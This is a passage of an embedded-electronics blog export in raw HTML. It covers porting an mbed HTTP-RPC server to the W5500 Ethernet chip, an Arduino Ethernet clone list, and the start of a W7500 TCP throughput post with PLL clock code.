mbedOS.</p><h3 id="rpc-command"><a name="rpc-command" href="#rpc-command"></a>RPC command</h3><p>The RPC command is encoded in this way : </p><ul>
<li>container that wraps a skeleton’s ID</li><li>method that will be invoked</li><li><p>parameters that will be inputted (optional)</p>
<ul>
<li>Command examples<br>PUT command : “/DigitalOut/new?arg=LED2&name=led2”<br> GET command : “/led2/write?arg=1”</li></ul>
</li></ul><h3 id="request-handlers"><a name="request-handlers" href="#request-handlers"></a>Request handlers</h3><p>To process requests, the server relies on RequestHandler. Each RequestHandler is assigned to a request type. Each type of request is assigned to a certain role :</p><ul>
<li>PUT requests to create new objects</li><li>DELETE requests to delete objects</li><li>GET requests to call a function of an object</li></ul><h2 id="porting-ethernetinterface-to-w5500interface"><a name="porting-ethernetinterface-to-w5500interface" href="#porting-ethernetinterface-to-w5500interface"></a>Porting EthernetInterface to W5500Interface</h2><p>Here is a guide how to modify :</p><ul>
<li>Folk HTTP-Server in you program workspace</li><li>Delete 2 Folders; EthernetInterface(lwIP) & mbed-rtos in HTTP-Server</li><li><p>Added array for MAC Address which was written at Source Hardware Address Register in W5500.</p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp"> uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};`
</code></pre>"> <span class="hljs-keyword">uint8_t</span> mac_addr[<span class="hljs-number">6</span>] = {<span class="hljs-number">0x00</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>};`
</code></pre>
</li><li><p>Change EthernetInterface() and set SPI Interface for W5500</p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp"> /* Use EthernetInterface
*EthernetInterface eth;
*if(eth.init())
*int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");
*/
/* ----- Use W5500 Ethernet Shied -----*/
SPI spi(D11, D12, D13); /* mosi, miso, sclk */
//spi.frequency(12500000); /* Optional : set proper SPI clock */
EthernetInterface eth(&amp;amp;spi, D10, D9); /* spi, cs, reset(dummy) */
...
/* ----- Use W5500 Ethernet Shied -----*/
</code></pre>"> <span class="hljs-comment">/* Use EthernetInterface
*EthernetInterface eth;
*if(eth.init())
*int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");
*/</span>
<span class="hljs-comment">/* ----- Use W5500 Ethernet Shied -----*/</span>
<span class="hljs-function">SPI <span class="hljs-title">spi</span><span class="hljs-params">(D11, D12, D13)</span></span>; <span class="hljs-comment">/* mosi, miso, sclk */</span>
<span class="hljs-comment">//spi.frequency(12500000); /* Optional : set proper SPI clock */</span>
<span class="hljs-function">EthernetInterface <span class="hljs-title">eth</span><span class="hljs-params">(&amp;spi, D10, D9)</span></span>; <span class="hljs-comment">/* spi, cs, reset(dummy) */</span>
...
<span class="hljs-comment">/* ----- Use W5500 Ethernet Shied -----*/</span>
</code></pre>
</li><li><p>Set Network configuration: I will use fixed Address.</p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp"> /* in case of using W5500 Ethenret Shield */
int ret = eth.init(mac_addr, "192.168.77.34", "255.255.255.0", "192.168.77.1");
/* in case of using W550io (has a unique real MAC address) */
//int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");
</code></pre>"> <span class="hljs-comment">/* in case of using W5500 Ethenret Shield */</span>
<span class="hljs-keyword">int</span> ret = eth.init(mac_addr, <span class="hljs-string">"192.168.77.34"</span>, <span class="hljs-string">"255.255.255.0"</span>, <span class="hljs-string">"192.168.77.1"</span>);
<span class="hljs-comment">/* in case of using W550io (has a unique real MAC address) */</span>
<span class="hljs-comment">//int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");</span>
</code></pre>
</li></ul><h3 id="repository-:-users-»-embeddist-»-code-»-http-server_w5500interface"><a name="repository-:-users-»-embeddist-»-code-»-http-server_w5500interface" href="#repository-:-users-»-embeddist-»-code-»-http-server_w5500interface"></a>Repository : Users » embeddist » Code » HTTP-Server_W5500Interface</h3><p><a href="http://developer.mbed.org/users/embeddist/code/HTTP-Server_W5500Interface/"></a><a href="http://developer.mbed.org/users/embeddist/code/HTTP-Server_W5500Interface/">http://developer.mbed.org/users/embeddist/code/HTTP-Server_W5500Interface/</a></p><h2 id="demo---using-a-browser-for-http-client"><a name="demo---using-a-browser-for-http-client" href="#demo---using-a-browser-for-http-client"></a>Demo - Using a browser for HTTP Client</h2><p>Here is a quick guide how to run this program :</p><ul>
<li>Compiles this program and copies it to the mbed</li><li>Open TeraTerm (install it if you don’t have it), select serial and choose the port named “mbed Serial Port”</li><li>Reset your mbed</li><li>The IP address should appear in teraterm. In this example, I will use 192.168.77.34<br> <img src="https://c1.staticflickr.com/9/8773/16682831854_683dddddf3.jpg" alt="Terminal"> </li><li>Open your browser and go to <a href="http://192.168.77.34">http://192.168.77.34</a><br> <img src="https://c1.staticflickr.com/9/8813/17097847247_d51313e0a6.jpg" alt="connecttingl"> </li><li><p>If everything is ok, you should see a webpage.</p>
</li><li><p>Create Red LED as arg=LED1 and name=RLED<br><img src="https://c1.staticflickr.com/9/8701/17115514149_aea423dc30.jpg" alt="RGB LED"><br><img src="https://c2.staticflickr.com/8/7679/17097846757_b7488cf66b.jpg" alt="Create Red LED"></p>
</li><li><p>To procedure, send command: RLED/write 0<br><img src="https://c2.staticflickr.com/8/7703/17097846787_efa917bd3e.jpg" alt="Reset Red LED"></p>
</li></ul><ul>
<li>To procedure, send command: RLED/write 1<br><img src="https://c2.staticflickr.com/8/7691/17117527118_6c4fa4a8be.jpg" alt="Reset Red LED"></li></ul>
</body>
</html>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-32462311202896135522015-06-04T21:21:00.002-07:002015-06-05T00:09:01.511-07:00List of Arduino Ethernet and clones<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-bfzWrILriss/VXFK_KECoUI/AAAAAAAAG8Q/hPbYZKGfAiw/s1600/ArduinoLeonardoETH_tri.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-bfzWrILriss/VXFK_KECoUI/AAAAAAAAG8Q/hPbYZKGfAiw/s320/ArduinoLeonardoETH_tri.jpg" /></a></div>
<div class="storify"><iframe src="//storify.com/embeddist/arduino-ethernet-and-clones/embed?border=false" width="100%" height="750" frameborder="no" allowtransparency="true"></iframe><script src="//storify.com/embeddist/arduino-ethernet-and-clones.js?border=false"></script><noscript>[<a href="//storify.com/embeddist/arduino-ethernet-and-clones" target="_blank">View the story "Arduino Ethernet and clones" on Storify</a>]</noscript></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-61543875405274169722015-05-31T20:35:00.000-07:002015-05-31T22:03:41.477-07:00Network performance of SoC with TCP/IP Offload engine, W7500, for Internet of Things <html>
<head>
<title>test.html</title>
<style>div.oembedall-githubrepos{border:1px solid #DDD;border-radius:4px;list-style-type:none;margin:0 0 10px;padding:8px 10px 0;font:13.34px/1.4 helvetica,arial,freesans,clean,sans-serif;width:452px;background-color:#fff}div.oembedall-githubrepos .oembedall-body{background:-moz-linear-gradient(center top,#FAFAFA,#EFEFEF) repeat scroll 0 0 transparent;background:-webkit-gradient(linear,left top,left bottom,from(#FAFAFA),to(#EFEFEF));border-bottom-left-radius:4px;border-bottom-right-radius:4px;border-top:1px solid #EEE;margin-left:-10px;margin-top:8px;padding:5px 10px;width:100%}div.oembedall-githubrepos h3{font-size:14px;margin:0;padding-left:18px;white-space:nowrap}div.oembedall-githubrepos p.oembedall-description{color:#444;font-size:12px;margin:0 0 3px}div.oembedall-githubrepos p.oembedall-updated-at{color:#888;font-size:11px;margin:0}div.oembedall-githubrepos ul.oembedall-repo-stats{border:medium none;float:right;font-size:11px;font-weight:700;padding-left:15px;position:relative;z-index:5;margin:0}div.oembedall-githubrepos ul.oembedall-repo-stats li{border:medium none;color:#666;display:inline-block;list-style-type:none;margin:0!important}div.oembedall-githubrepos ul.oembedall-repo-stats li a{background-color:transparent;border:medium none;color:#666!important;background-position:5px -2px;background-repeat:no-repeat;border-left:1px solid #DDD;display:inline-block;height:21px;line-height:21px;padding:0 5px 0 23px}div.oembedall-githubrepos ul.oembedall-repo-stats li:first-child a{border-left:medium none;margin-right:-3px}div.oembedall-githubrepos ul.oembedall-repo-stats li a:hover{background:none no-repeat scroll 5px -27px #4183C4;color:#FFF!important;text-decoration:none}div.oembedall-githubrepos ul.oembedall-repo-stats li:first-child a:hover{border-bottom-left-radius:3px;border-top-left-radius:3px}ul.oembedall-repo-stats li:last-child a:hover{border-bottom-right-radius:3px;border-top-right-radius:3px}span.oembedall-closehide{background-color:#aaa;border-radius:2px;cursor:pointer;margin-right:3px}div.oembedall-container{margin-top:5px;text-align:left}.oembedall-ljuser{font-weight:700}.oembedall-ljuser img{vertical-align:bottom;border:0;padding-right:1px}.oembedall-stoqembed{border-bottom:1px dotted #999;float:left;overflow:hidden;width:730px;line-height:1;background:none repeat scroll 0 0 #FFF;color:#000;font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;font-size:80%;text-align:left;margin:0;padding:0}.oembedall-stoqembed a{color:#07C;text-decoration:none;margin:0;padding:0}.oembedall-stoqembed a:hover{text-decoration:underline}.oembedall-stoqembed a:visited{color:#4A6B82}.oembedall-stoqembed h3{font-family:Trebuchet MS,Liberation Sans,DejaVu Sans,sans-serif;font-size:130%;font-weight:700;margin:0;padding:0}.oembedall-stoqembed .oembedall-reputation-score{color:#444;font-size:120%;font-weight:700;margin-right:2px}.oembedall-stoqembed .oembedall-user-info{height:35px;width:185px}.oembedall-stoqembed .oembedall-user-info .oembedall-user-gravatar32{float:left;height:32px;width:32px}.oembedall-stoqembed .oembedall-user-info .oembedall-user-details{float:left;margin-left:5px;overflow:hidden;white-space:nowrap;width:145px}.oembedall-stoqembed .oembedall-question-hyperlink{font-weight:700}.oembedall-stoqembed .oembedall-stats{background:none repeat scroll 0 0 #EEE;margin:0 0 0 7px;padding:4px 7px 6px;width:58px}.oembedall-stoqembed .oembedall-statscontainer{float:left;margin-right:8px;width:86px}.oembedall-stoqembed .oembedall-votes{color:#555;padding:0 0 7px;text-align:center}.oembedall-stoqembed .oembedall-vote-count-post{font-size:240%;color:#808185;display:block;font-weight:700}.oembedall-stoqembed .oembedall-views{color:#999;padding-top:4px;text-align:center}.oembedall-stoqembed .oembedall-status{margin-top:-3px;padding:4px 0;text-align:center;background:none repeat scroll 0 0 #75845C;color:#FFF}.oembedall-stoqembed .oembedall-status strong{color:#FFF;display:block;font-size:140%}.oembedall-stoqembed .oembedall-summary{float:left;width:635px}.oembedall-stoqembed .oembedall-excerpt{line-height:1.2;margin:0;padding:0 0 5px}.oembedall-stoqembed .oembedall-tags{float:left;line-height:18px}.oembedall-stoqembed .oembedall-tags a:hover{text-decoration:none}.oembedall-stoqembed .oembedall-post-tag{background-color:#E0EAF1;border-bottom:1px solid #3E6D8E;border-right:1px solid #7F9FB6;color:#3E6D8E;font-size:90%;line-height:2.4;margin:2px 2px 2px 0;padding:3px 4px;text-decoration:none;white-space:nowrap}.oembedall-stoqembed .oembedall-post-tag:hover{background-color:#3E6D8E;border-bottom:1px solid #37607D;border-right:1px solid #37607D;color:#E0EAF1}.oembedall-stoqembed .oembedall-fr{float:right}.oembedall-stoqembed .oembedall-statsarrow{background-image:url(http://cdn.sstatic.net/stackoverflow/img/sprites.png?v=3);background-repeat:no-repeat;overflow:hidden;background-position:0 -435px;float:right;height:13px;margin-top:12px;width:7px}.oembedall-facebook1{border:#1A3C6C solid 1px;padding:0;font:13.34px/1.4 verdana;width:500px}.oembedall-facebook2{background-color:#627add}.oembedall-facebook2 a{color:#e8e8e8;text-decoration:none}.oembedall-facebookBody{background-color:#fff;vertical-align:top;padding:5px}.oembedall-facebookBody .contents{display:inline-block;width:100%}.oembedall-facebookBody div img{float:left;margin-right:5px}div.oembedall-lanyard{-webkit-box-shadow:none;-webkit-transition-delay:0s;-webkit-transition-duration:.4000000059604645s;-webkit-transition-property:width;-webkit-transition-timing-function:cubic-bezier(0.42,0,.58,1);background-attachment:scroll;background-clip:border-box;background-color:transparent;background-image:none;background-origin:padding-box;border-bottom-width:0;border-left-width:0;border-right-width:0;border-top-width:0;box-shadow:none;color:#112644;display:block;float:left;font-family:'Trebuchet MS',Trebuchet,sans-serif;font-size:16px;height:253px;line-height:19px;margin-bottom:0;margin-left:0;margin-right:0;margin-top:0;max-width:none;min-height:0;outline-color:#112644;outline-style:none;outline-width:0;overflow-x:visible;overflow-y:visible;padding-bottom:0;padding-left:0;padding-right:0;padding-top:0;position:relative;text-align:left;vertical-align:baseline;width:804px}div.oembedall-lanyard .tagline{font-size:1.5em}div.oembedall-lanyard .wrapper{overflow:hidden;clear:both}div.oembedall-lanyard .split{float:left;display:inline}div.oembedall-lanyard .prominent-place .flag:active,div.oembedall-lanyard .prominent-place .flag:focus,div.oembedall-lanyard .prominent-place .flag:hover,div.oembedall-lanyard .prominent-place .flag:link,div.oembedall-lanyard .prominent-place .flag:visited{float:left;display:block;width:48px;height:48px;position:relative;top:-5px;margin-right:10px}div.oembedall-lanyard .place-context{font-size:.889em}div.oembedall-lanyard .prominent-place .sub-place{display:block}div.oembedall-lanyard .prominent-place{font-size:1.125em;line-height:1.1em;font-weight:400}div.oembedall-lanyard .main-date{color:#8CB4E0;font-weight:700;line-height:1.1}div.oembedall-lanyard .first{width:48.57%;margin:0 0 0 2.857%}html{height:100%}body{margin:0!important;padding:5px 20px 26px!important;background-color:#fff;font-family:"Lucida Grande","Segoe UI","Apple SD Gothic Neo","Malgun Gothic","Lucida Sans Unicode",Helvetica,Arial,sans-serif;font-size:.9em;overflow-x:hidden;overflow-y:auto}br,h1,h2,h3,h4,h5,h6{clear:both}hr.page{background:transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;border:0 none;color:#ccc;height:3px;padding:0}hr.underscore{border:0 none!important;height:30px;padding:0;-webkit-margin-before:0;-webkit-margin-after:0}body >:first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0,.1);border-radius:3px}iframe{border:0}figure{-webkit-margin-before:0;-webkit-margin-after:0;-webkit-margin-start:0;-webkit-margin-end:0}kbd{border:1px solid #aaa;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:1px 2px 2px #ddd;-webkit-box-shadow:1px 2px 2px #ddd;box-shadow:1px 2px 2px #ddd;background-color:#f9f9f9;background-image:-moz-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:-o-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:-webkit-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:linear-gradient(top,#eee,#f9f9f9,#eee);padding:1px 3px;font-family:inherit;font-size:.85em}.oembeded .oembed_photo{display:inline-block}img[data-echo]{margin:25px 0;width:100px;height:100px;background:#fff url(../img/ajax.gif) no-repeat center center}.spinner{display:inline-block;width:10px;height:10px;margin-bottom:-.1em;border:2px solid rgba(0,0,0,.5);border-top-color:transparent;border-radius:100%;-webkit-animation:spin 1s infinite linear;animation:spin 1s infinite linear}.spinner:after{content:'';display:block;width:0;height:0;position:absolute;top:-6px;left:0;border:4px solid transparent;border-bottom-color:rgba(0,0,0,.5);-webkit-transform:rotate(45deg);transform:rotate(45deg)}@-webkit-keyframes spin{to{-webkit-transform:rotate(360deg)}}@keyframes spin{to{transform:rotate(360deg)}}p.toc{margin:0!important}p.toc ul{padding-left:10px}p.toc>ul{padding:10px;margin:0 10px;display:inline-block;border:1px solid #ededed;border-radius:5px}p.toc li,p.toc ul{list-style-type:none}p.toc li{width:100%;padding:0;overflow:hidden}p.toc li a::after{content:"."}p.toc li a:before{content:"• "}p.toc h5{text-transform:uppercase}p.toc .title{float:left;padding-right:3px}p.toc .number{margin:0;float:right;padding-left:3px;background:#fff;display:none}.markdown{padding:20px}.markdown a{text-decoration:none;vertical-align:baseline}.markdown a:hover{text-decoration:underline}.markdown h1{font-size:2.2em;font-weight:700;margin:1.5em 0 1em}.markdown h2{font-size:1.8em;font-weight:700;margin:1.275em 0 .85em}.markdown h3{font-size:1.6em;font-weight:700;margin:1.125em 0 .75em}.markdown h4{font-size:1.4em;font-weight:700;margin:.99em 0 .66em}.markdown h5{font-size:1.2em;font-weight:700;margin:.855em 0 .57em}.markdown h6{font-size:1em;font-weight:700;margin:.75em 0 .5em}.markdown h1+p,.markdown h1:first-child,.markdown h2+p,.markdown h2:first-child,.markdown h3+p,.markdown h3:first-child,.markdown h4+p,.markdown h4:first-child,.markdown h5+p,.markdown h5:first-child,.markdown h6+p,.markdown h6:first-child{margin-top:0}.markdown hr{border:1px solid #ccc}.markdown p{margin:1em 0;word-wrap:break-word}.markdown ol{list-style-type:decimal}.markdown li{display:list-item;line-height:1.4em}.markdown blockquote{margin:1em 20px}.markdown blockquote>:first-child{margin-top:0}.markdown blockquote>:last-child{margin-bottom:0}.markdown blockquote cite:before{content:'\2014 \00A0'}.markdown .code{border-radius:3px;word-break:break-all;word-wrap:break-word}.markdown pre{border-radius:3px;word-break:break-all;word-wrap:break-word;overflow:auto}.markdown pre code{display:block}.markdown pre>code{border:1px solid #ccc;white-space:pre;padding:.5em;margin:0}.markdown code{border-radius:3px;word-break:break-all;word-wrap:break-word;border:1px solid #ccc;padding:0 5px;margin:0 2px}.markdown img{max-width:100%}.markdown table{padding:0;border-collapse:collapse;border-spacing:0}.markdown table tr td,.markdown table tr th{border:1px solid #ccc;margin:0;padding:6px 13px}.markdown table tr th{font-weight:700}.markdown table tr th>:first-child{margin-top:0}.markdown table tr th>:last-child{margin-bottom:0}.markdown table tr td>:first-child{margin-top:0}.markdown table tr td>:last-child{margin-bottom:0}.markdown em.underline{font-style:normal;text-decoration:underline}.markdown strong.highlight{color:#000;padding:0 5px;background-color:#fdffb6;-webkit-box-shadow:#fdffb6 0 0 5px;-moz-box-shadow:#fdffb6 0 0 5px;box-shadow:#fdffb6 0 0 5px}.github{padding:20px;color:#000;font-size:15px;font-family:"Lucida Grande","Lucida Sans Unicode","Lucida Sans",AppleSDGothicNeo-Medium,'Segoe UI','Malgun Gothic',Verdana,Tahoma,sans-serif;background:#fff;-webkit-font-smoothing:antialiased}.github a{color:#3269a0}.github a:hover{color:#4183c4}.github h2{border-bottom:1px solid #e6e6e6;line-height:1.7em}.github h6{color:#777}.github hr{border:1px solid #e6e6e6}.github pre>code{font-size:.9em;font-family:Consolas,Inconsolata,Courier,monospace}.github blockquote{border-left:4px solid #e6e6e6;padding:0 15px;font-style:italic}.github table{background-color:#fafafa}.github table tr td,.github table tr th{border:1px solid #e6e6e6}.github table tr:nth-child(2n){background-color:#f2f2f2}.hljs{display:block;overflow-x:auto;padding:.5em;color:#333;background:#f8f8f8;-webkit-text-size-adjust:none}.diff .hljs-header,.hljs-comment,.hljs-javadoc,.hljs-template_comment{color:#998;font-style:italic}.css .rule .hljs-keyword,.hljs-keyword,.hljs-request,.hljs-status,.hljs-subst,.hljs-winutils,.javascript .hljs-title,.nginx .hljs-title{color:#333;font-weight:700}.hljs-hexcolor,.hljs-number,.ruby .hljs-constant{color:teal}.hljs-phpdoc,.hljs-string,.hljs-tag .hljs-value,.tex .hljs-formula{color:#d14}.coffeescript .hljs-params,.hljs-id,.hljs-title,.scss .hljs-preprocessor{color:#900;font-weight:700}.clojure .hljs-title,.hljs-subst,.javascript .hljs-title,.lisp .hljs-title{font-weight:400}.hljs-class .hljs-title,.hljs-type,.tex .hljs-command,.vhdl .hljs-literal{color:#458;font-weight:700}.django .hljs-tag .hljs-keyword,.hljs-rules .hljs-property,.hljs-tag,.hljs-tag .hljs-title{color:navy;font-weight:400}.hljs-attribute,.hljs-variable,.lisp .hljs-body{color:teal}.hljs-regexp{color:#009926}.hljs-prompt,.hljs-symbol,.lisp .hljs-keyword,.ruby .hljs-symbol .hljs-string,.tex .hljs-special{color:#990073}.clojure .hljs-built_in,.hljs-built_in,.lisp .hljs-title{color:#0086b3}.hljs-cdata,.hljs-doctype,.hljs-pi,.hljs-pragma,.hljs-preprocessor,.hljs-shebang{color:#999;font-weight:700}.hljs-deletion{background:#fdd}.hljs-addition{background:#dfd}.diff .hljs-change{background:#0086b3}.hljs-chunk{color:#aaa}footer{position:fixed;font-size:.8em;text-align:right;bottom:0;margin-left:-25px;height:20px;width:100%}</style>
</head>
<body class="markdown github">
<h1 id="network-performance-of-soc-with-tcp/ip-offload-engine,-w7500,-for-internet-of-things">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#network-performance-of-soc-with-tcp/ip-offload-engine,-w7500,-for-internet-of-things" name="network-performance-of-soc-with-tcp/ip-offload-engine,-w7500,-for-internet-of-things"></a>Network performance of SoC with TCP/IP Offload engine, W7500, for Internet of Things</h1>
We have measured TCP throughput of W7500 depending on RX buffer size, Main bus clock and DMA and<br />used HW, SW and Toos as belows, <br />
<ul>
<li>Hardware: <a href="http://wizwiki.net/wiki/doku.php?id=products:wizwiki_w7500:start">WIZwiki_W7500</a></li>
<li>Software: <a href="https://www.blogger.com/[https://github.com/embeddist/W7500/tree/W7500_DMA">TCP recv only (Firmware)</a></li>
<li>Bandwidth Measurement Tool : <a href="https://iperf.fr/">Iperf</a></li>
</ul>
<h2 id="what-is-soc-with-tcp/ip-toe,-w7500">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#what-is-soc-with-tcp/ip-toe,-w7500" name="what-is-soc-with-tcp/ip-toe,-w7500"></a>What is SoC with TCP/IP TOE, W7500</h2>
<img alt="Iperf for W7500" src="https://c1.staticflickr.com/1/439/18324984472_f2948eed25.jpg" style="height: auto; width: 80%;" /><br />The 7500 chip is the one-chip solution which integrates an ARM Cortex-M0, 128KB Flash and hardwired TCP/IP TOE which is a market-proven hardwired TCP/IP stack with an integrated Ethernet. Using TOE allows users to implement the Ethernet application by adding the simple socket program. It’s faster and easier than using any other Embedded Ethernet solutions, especially internet of things. In addition, TOE can provide high and stable network performance on target system.<br />
<img alt="Iperf for W7500" src="https://c1.staticflickr.com/9/8796/18142730879_2b62a39e4f.jpg" style="height: auto; width: 60%;" /><br />Traditional system could be used operation system for TCP/IP stack. It means more memory and calcurate resources in IoT system which is limited resources extremely. TOE allows to offload the processing of TCP/IP protocols from the host microcontroller,<br />
In TCP/IP protocol stack of W7500, there are multiple protocols as like,<br />
<ul>
<li>Supports Hardwired TCP/IP Protocols : TCP, UDP, ICMP, IPv4, ARP, IGMP, PPPoE</li>
<li>Supports 8 independent sockets simultaneously</li>
<li>Supports Power down mode</li>
<li>Supports Wake on LAN over UDP</li>
</ul>
<h2 id="hardware">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#hardware" name="hardware"></a>Hardware</h2>
<ul>
<li><a href="http://wizwiki.net/wiki/doku.php?id=products:w7500:start">W7500, SoC with TOE, for IOT</a><br /> <img alt="wizwiki_W7500" src="http://wizwiki.net/wiki/lib/exe/fetch.php?media=products:w7500:w7500_chip.png" /> <br />
<ul>
<li>ARM Cortex-M0<ul>
<li>48MHz maximum frequency</li>
</ul>
</li>
<li>Hardwired TCP/IP Core<ul>
<li>8 Sockets</li>
<li>SRAM for socket: 32 KB</li>
</ul>
</li>
<li>Memories<ul>
<li>Flash: 128 KB<ul>
<li>Large flexible-size SRAM buffer for various User Application</li>
<li>ROM for boot code: 6 KB</li>
</ul>
</li>
</ul>
</li>
<li>ADC : 12bit, 8ch, 1Msps</li>
<li>6-channel DMA</li>
<li>GPIOs</li>
<li>Timer/PWM : 1 Watchdog , 4 Timers, 8 PWMs</li>
<li>Communication Interfaces: 3 UARTs, 2 SPIs, 2 I2Cs</li>
<li>Crypto : 1 RNG (Random Number Generator)</li>
<li>Package : 64 TQFP (7x7 mm)</li>
</ul>
</li>
<li><a href="http://wizwiki.net/wiki/doku.php?id=products:wizwiki_w7500:start">WIZwiki_W7500</a><br /> <img alt="wizwiki_W7500" src="https://c2.staticflickr.com/6/5458/17909636112_d40d333aa1.jpg" /><br />
<ul>
<li>WIZnet W7500</li>
<li>32-bit ARM Cortex-M0</li>
<li>128KB Flash / 48 SRAM</li>
<li>Hardware TCP/IP coe (WIZnet TCP/IP Engine)</li>
<li>CMSIS-DAP</li>
<li>SWD Con.</li>
<li>WIZwiki-W7500 feature</li>
<li>Arduino Pin compatible</li>
<li>ISP / SD Slot / REG LED</li>
<li>Ethernet PHY</li>
</ul>
</li>
</ul>
<h2 id="software:-tcp-recv-only">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#software:-tcp-recv-only" name="software:-tcp-recv-only"></a>Software: TCP recv only</h2>
<ul>
<li>How to config. Clock<br />
<ul>
<li><a href="http://wizwiki.net/wiki/doku.php?id=products:wizwiki_w7500:start">W7500RM</a> - 10.4.3 PLL frequency calculating register (PLL_FCR) <br />
<ul>
<li>Address:0x4100_1014</li>
<li>Reset value : 0x0005_0200=> 20MHz<table>
<thead>
<tr>
<th>bits</th>
<th>31-22</th>
<th>21-16</th>
<th>15-14</th>
<th>13-8</th>
<th>7-2</th>
<th>1-0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desc.</td>
<td>RSVD</td>
<td>M</td>
<td>RSVD</td>
<td>N</td>
<td>RSVD</td>
<td>OD</td>
</tr>
</tbody>
</table>
These bits are written by S/W to set frequency of PLL output.<br /> PLL output frequency FOUT is calculated by the following equations:<br /> FOUT = FIN x M / N x 1 / OD<br /> Where:<br /> M = M[5] x 32 + M[4] x 16 + M[3] x 8 + M[2] x 4 + M[1] x 2 + M[0] x 1 (2 ~ 63)<br /> N = N[5] x 32 + N[4] x 16 + N[3] x 8 + N[2] x 4 + N[1] x 2 + N[0] x 1 (1 ~ 63)<br /> OD = 2 (2 x OD[1]) x 2 (1 x OD[0])</li>
</ul>
</li>
<li>Psedo-code for PLL_FCR<br />
<pre><code class="cpp hljs" data-origin="<pre><code class="cpp">// main.c
/* External Clock */
CRG_PLL_InputFrequencySelect(CRG_OCLK);
//*(volatile uint32_t *)(0x41001014) = 0x000C0200; // 48MHz
//*(volatile uint32_t *)(0x41001014) = 0x000B0200; // 44MHz
//*(volatile uint32_t *)(0x41001014) = 0x000A0200; // 40MHz
//*(volatile uint32_t *)(0x41001014) = 0x00090200; // 36MHz
//*(volatile uint32_t *)(0x41001014) = 0x00080200; // 32MHz
//*(volatile uint32_t *)(0x41001014) = 0x00070200; // 28MHz
//*(volatile uint32_t *)(0x41001014) = 0x00060200; // 24MHzS
//*(volatile uint32_t *)(0x41001014) = 0x00050200; // 20MHz, Default
//*(volatile uint32_t *)(0x41001014) = 0x00040200; // 16MHz
//*(volatile uint32_t *)(0x41001014) = 0x00030200; // 12MHz
*(volatile uint32_t *)(0x41001014) = 0x00020200; // 8MHz
</code></pre>"><span class="hljs-comment">// main.c </span>
<span class="hljs-comment">/* External Clock */</span>
CRG_PLL_InputFrequencySelect(CRG_OCLK);
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x000C0200; // 48MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x000B0200; // 44MHz</span>
